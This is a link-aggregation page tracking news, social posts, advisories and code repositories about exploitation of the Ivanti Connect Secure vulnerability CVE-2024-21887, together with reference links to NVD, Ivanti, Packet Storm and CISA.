    Japan Faces Sophisticated PlugX Cyberattack Targeting Shipping and Transportation Networks In April 2025, Japanese cybersecurity firm LAC revealed that a China-based advanced persistent threat (APT) group launched a highly targeted cyberat…
    Open source
  • news cyberpress.org 2025-12-09 08:00 UTC
    Hackers Deploy MetaRAT Malware Through Ivanti Connect Secure Vulnerabilities - Cyber Press
    Open source
  • social bsky.app @infosec.skyfleet.blue 2025-12-05 08:26 UTC
    Unveiling WARP PANDA: A New Sophisticated China-Nexus Adversary
    Open source
  • social bsky.app @infosec.skyfleet.blue 2025-12-02 18:26 UTC
    How a noisy ransomware intrusion exposed a long-term espionage foothold
    Open source
  • advisory huntress.com 2025-11-21 08:00 UTC
    CVE-2024-21887 Vulnerability: Analysis, Detection, Removal - Huntress
    Open source
  • social bsky.app @nihonmatsu.bsky.social 2025-08-27 15:54 UTC
    主に狙われる脆弱性 Ivanti(CVE-2024-21887 / 46805) Palo Alto PAN-OS(CVE-2024-3400) Cisco IOS XE(CVE-2023-20198 / 20273) Cisco Smart Install(CVE-2018-0171)など VPSやハイジャック済みルータを踏み台に使い、ISP間接続(provider-to-provider / customer-to-providerリンク)を悪用してラテラルムーブメント…
    Open source
  • social bsky.app @alphahunt.io 2025-08-06 13:57 UTC
    Patching later? Pioneer Kitten Airbnb’d your Ivanti VPN (CVE-2024-21887) to BlackCat—crypto rent due at noon. Iran-2025 brief lists the next firewall CVEs primed to explode. Read / subscribe ↓ blog.alphahunt.io/iranian-cybe... #AlphaHunt #…
    Open source
  • social bsky.app @infosec.skyfleet.blue 2025-04-28 13:54 UTC
    Mandiant: kwetsbaarheden in vpn-software vaakst aangevallen vorig jaar
    Open source
  • social bsky.app @infosec.skyfleet.blue 2025-02-10 14:32 UTC
    CISA Flags Critical Trimble Cityworks Vulnerability (CVE-2025-0994) in KEV Catalog
    Open source
  • code github.com Hexastrike 2025-01-19 09:02 UTC
    Hexastrike/Ivanti-Connect-Secure-Logs-Parser
    Open source
  • code github.com rxwx 2025-01-14 12:54 UTC
    rxwx/pulse-meter
    Open source
  • news cybersecuritynews.com 2025-01-09 08:00 UTC
    Hackers Actively Exploited Ivanti VPN 0-Day Vulnerability (CVE-2025-0282): Technical Analysis - CyberSecurityNews
    Open source
  • social bsky.app @infosec.skyfleet.blue 2025-01-09 02:10 UTC
    Ivanti Connect Secure VPN Targeted in New Zero-Day Exploitation
    Open source
  • social bsky.app @jbhall56.bsky.social 2024-07-11 11:59 UTC
    The advisory was released in response to recent attacks that exploited multiple OS command injection security flaws (CVE-2024-20399, CVE-2024-3400, and CVE-2024-21887) to compromise Cisco, Palo Alto, and Ivanti network edge devices. www.bl…
    Open source
  • social bsky.app @jbhall56.bsky.social 2024-05-10 12:04 UTC
    According to findings from Juniper Threat Labs, which said the vulnerabilities CVE-2023-46805 and CVE-2024-21887 have been leveraged to deliver the botnet payload. thehackernews.com/2024/05/mira...
    Open source
  • social bsky.app @ehcgroup.bsky.social 2024-05-08 23:17 UTC
    Los detalles de la violación de MITRE revelan los éxitos y fracasos de los atacantes. MITRE ha compartido una cronología de la reciente infracción de la que fue víctima y ha confirmado que comenzó antes de lo que se pensaba anteriormente:…
    Open source
  • advisory blog.qualys.com 2024-04-30 07:00 UTC
    CrushFTP Server Zero-Day Exploit Enables Full Server Compromise - Qualys
    Open source
  • social bsky.app @ehcgroup.bsky.social 2024-04-22 17:01 UTC
    MITRE Corporation violada por piratas informáticos que explotan las fallas de Ivanti. El ataque implicó la explotación de CVE-2023-46805 (CVSS: 8,2) y CVE-2024-21887 (CVSS: 9,1), que los actores de amenazas podrían utilizar para eludir la…
    Open source
  • social bsky.app @percepticon.bsky.social 2024-04-10 02:44 UTC
    Open source
  • social bsky.app @neroqc.bsky.social 2024-04-05 12:43 UTC
    Researchers Identify Multiple China Hacker Groups Exploiting Ivanti Security Flaws thehackernews.com/2024/04/rese... #Infosec #Security #Cybersecurity #CeptBiro #ChinaHackerGroups #IvantiSecurityFlaws
    Open source
  • social bsky.app @jbhall56.bsky.social 2024-04-05 11:20 UTC
    The clusters are being tracked by Mandiant under the monikers UNC5221, UNC5266, UNC5291, UNC5325, UNC5330, and UNC5337. Another group linked to the exploitation spree is UNC3886. thehackernews.com/2024/04/rese...
    Open source
  • social bsky.app @techit.bsky.social 2024-04-05 09:25 UTC
    Researchers Identify Multiple China Hacker Groups Exploiting Ivanti Security Flaws #thehackersnews
    Open source
  • social bsky.app @infosec.skyfleet.blue 2024-04-05 08:34 UTC
    Researchers Identify Multiple China Hacker Groups Exploiting Ivanti Security Flaws
    Open source
  • news thehackernews.com 2024-04-05 07:00 UTC
    Researchers Identify Multiple China Hacker Groups Exploiting Ivanti Security Flaws - The Hacker News
    Open source
  • news cloud.google.com 2024-04-04 07:00 UTC
    Cutting Edge, Part 4: Ivanti Connect Secure VPN Post-Exploitation Lateral Movement Case Studies - Google Cloud
    Open source
  • news blogs.cisco.com 2024-03-11 07:00 UTC
    Helping Ivanti VPN Customers - Cisco Blogs
    Open source
  • news hackread.com 2024-03-11 07:00 UTC
    Magnet Goblin Hackers Using Ivanti Flaws to Deploy Linux Malware - Hackread
    Open source
  • social bsky.app @remoteitalia.bsky.social 2024-02-28 11:04 UTC
    Vulnerabilità Ivanti: Allerta per la Sicurezza: Vulnerabilità in prodotti Ivanti diventano un rischio per la sicurezza: necessario intervenire tempestivamente. Le vulnerabilità CVE-2023-46805 e CVE-2024-21887, recentemente individuate in a…
    Open source
  • news cyfirma.com 2024-02-28 08:00 UTC
    Exploit Analysis: SSRF and Command Injection for Unauthenticated RCE in Ivanti Connect Secure - cyfirma
    Open source
  • social bsky.app @handle.invalid 2024-02-27 22:22 UTC
    Our team at Mandiant just released details on 🇨🇳 #UNC5325, who exploited CVE-2024-21893 and CVE-2024-21887 to deploy novel malware in an attempt to remain embedded in compromised Ivanti appliances even through factory resets, system upgrad…
    Open source
  • news cloud.google.com 2024-02-27 08:00 UTC
    Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts - Google Cloud
    Open source
  • code github.com pwniel 2024-02-24 12:55 UTC
    pwniel/ivanti_shell
    Open source
  • advisory akamai.com 2024-02-21 08:00 UTC
    Exploitation Observed: Ivanti Connect Secure — CVE-2023-46805 and CVE-2024-21887 - Akamai
    Open source
  • social bsky.app @shadowserver.bsky.social 2024-02-20 09:28 UTC
    Lots of scanning activity past week (especially on 2024-02-16 & 2024-02-19) checking for Ivanti CVE-2024-21887 RCE, with thousands of src IPs involved. Ivanti attacks by CVE (by IP): dashboard.shadowserver.org/statistics/h... Over 800 vuln…
    Open source
  • social bsky.app @ntkramer.bsky.social 2024-02-14 23:34 UTC
    💞 & #threatintel: Attackers are showing their love for Ivanti; there's been quite the uptick in IP addresses attempting to perform a remote code execution attack against Ivanti Connect Secure (ICS) (CVE-2023-46805, CVE-2024-21887) in the p…
    Open source
  • social bsky.app @shadowserver.bsky.social 2024-02-14 11:01 UTC
    We have added improvements to our Ivanti Connect Secure VPN scans to better detect unpatched versions vulnerable to CVE-2024-22024 (~3900 found) & CVE-2024-21887 (~ 1000 found). IP data shared in shadowserver.org/what-we-do/n... CVE-2024-2…
    Open source
  • social bsky.app @martian-observer.net 2024-02-12 15:38 UTC
    UK NCSC: Organisations are encouraged to take immediate action to mitigate vulnerabilities affecting #Ivanti Connect Secure (ICS) and Ivanti Policy Secure (IPS) gateways. www.ncsc.gov.uk/news/exploit...
    Open source
  • advisory ncsc.gov.uk 2024-02-09 08:00 UTC
    Exploitation of vulnerabilities affecting Ivanti Connect Secure and Ivanti Policy Secure - National Cyber Security Centre
    Open source
  • advisory labs.watchtowr.com 2024-02-09 08:00 UTC
    Ivanti Connect Secure CVE-2024-22024 - Are We Now Part Of Ivanti? - watchTowr Labs
    Open source
  • social bsky.app @opfuchs.gay 2024-02-08 19:34 UTC
    CVE-2024-21887 (authenticated command injection in Ivanti Connect and Policy Secure 9.x, 22.x) exploit: github.com/Chocapikk/CV...
    Open source

References (4)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-21887
forums.ivanti.com
GitHub CVE
https://forums.ivanti.com/s/article/CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US
packetstormsecurity.com
GitHub CVE
http://packetstormsecurity.com/files/176668/Ivanti-Connect-Secure-Unauthenticated-Remote-Code-Execution.html
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-21887